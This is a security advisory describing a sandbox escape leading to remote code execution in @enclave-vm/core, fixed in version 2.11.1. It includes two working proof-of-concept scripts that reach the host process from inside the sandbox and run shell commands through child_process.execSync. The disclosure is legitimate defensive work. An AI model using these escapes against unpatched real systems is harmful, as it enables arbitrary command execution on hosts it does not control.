@enclave-vm/core is vulnerable to Sandbox Escape

Summary

It is possible to escape the security boundraries set by @enclave-vm/core, which can be used to achieve remote code execution (RCE).

The issue has been fixed in version 2.11.1.

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Details

It is possible to obtain the native Object constructor (instead of the SafeObject wrapper). This can be used to get retrieve property descriptors via Object.getOwnPropertyDescriptors, allowing access to properties otherwise restricted by the sandbox.

When a memory limit is set (which is the default), __host_memory_track__, a host object, can be used to escape via the host function constructor.

When this is not the case, a host reference can be obtained via Node's nodejs.util.inspect.custom symbol (which can be triggered, for example, through console.log).

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Proof of Concept

PoC 1

const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({
  securityLevel: "SECURE",
  toolHandler: () => {},
});

const result = enclave.run(`
const op = {}[["__proto__"]];
const ho = op[["constructor"]];

const glob = ho.getOwnPropertyDescriptors(this);

return {
  res: glob.__host_memory_track__.value[["constructor"]]("return process")()
    .getBuiltinModule("child_process")
    .execSync("id")
    .toString()
    .split("\\n"),
};`);

result
  .then((v) => console.log("success", v))
  .catch((e) => console.log("failure", e));

---

PoC 2

const { Enclave } = require("@enclave-vm/core");

const enclave = new Enclave({
  securityLevel: "STRICT",
  toolHandler: () => {},
  memoryLimit: 0,
});

const result = enclave.run(`
const op = {}[['__proto__']];
const ho = op[['constructor']];

const glob = ho.getOwnPropertyDescriptors(this);

const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom');

let result;
const obj = {
  [sym]: (depth, option, inspect) => {
    result = inspect[['constructor']]
      [['constructor']]('return process')()
      .getBuiltinModule('child_process')
      .execSync('id')
      .toString();
  },
};

glob.__safe_console.value.log(obj);
return { result }
`);

result
  .then((v) => console.log("success", v))
  .catch((e) => console.log("failure", e));

---

Impact

This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system.

This constitutes Remote Code Execution (RCE) and should be considered Critical severity.